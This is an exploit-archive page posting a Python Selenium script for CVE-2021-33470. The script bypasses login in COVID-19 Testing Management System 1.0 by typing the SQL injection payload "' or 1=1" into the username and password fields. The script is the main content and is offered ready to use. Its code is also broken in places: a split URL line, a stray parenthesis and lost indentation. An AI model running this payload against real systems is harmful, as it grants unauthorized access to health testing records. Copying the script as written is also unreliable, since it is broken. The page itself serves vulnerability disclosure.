

## COVID-19 Testing Management System 1.0 SQL Injection

Authored by [nu11security](#)

Posted Jun 8, 2021

COVID-19 Testing Management System version 1.0 remote SQL injection exploit based upon the original discovery by Rohit Burke in May of 2021.

tags | [exploit](#), [remote](#), [sql injection](#)

advisories | [CVE-2021-33470](#)

SHA-256 | [0a0103bf0a7eac9dcea23976913fe85ee3e02bab59a17d48ed4103f626bfc8c4](#) [Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)

[Download](#)

```
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection
(Authentication Bypass)
# Author: @nullsecurlty
# Testing and Debugging: @nullsecurlty
# Date: 06.08.2021
# Vendor: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# CVE: CVE-2021-33470
# Proof: https://github.com/nullsecurlty/CVE-mitre/blob/main/CVE-2021-33470/CVE-2021-33470.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nullsecurlty
# Debug: @nullsecurlty
# CVE: CVE-2021-33470

from selenium import webdriver
import time

#enter the link to the website you want to automate login.
website_link=""
http://192.168.1.160/Covid19-TMS%20Project%20Using%20PHP%20and%20MySQL/covid-tms/login.php

#enter your login username SQL bling injection
username="nullsecurlty' or 1=1"
#enter your login password SQL bling injection
password="nullsecurlty' or 1=1"

# test and proof the SQL injection
# user: admin
# password: password

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="inputpwd"

#enter the element for submit button by class
element_for_submit="btn.btn-primary.btn-user.btn-block"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get(website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
time.sleep(3)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

print("payload is deployed NOW, you have SQL Authentication Bypass ~)...n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
```

[Login](#) or [Register](#) to add favorites

[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)

### File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

### Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

### File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	

### Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed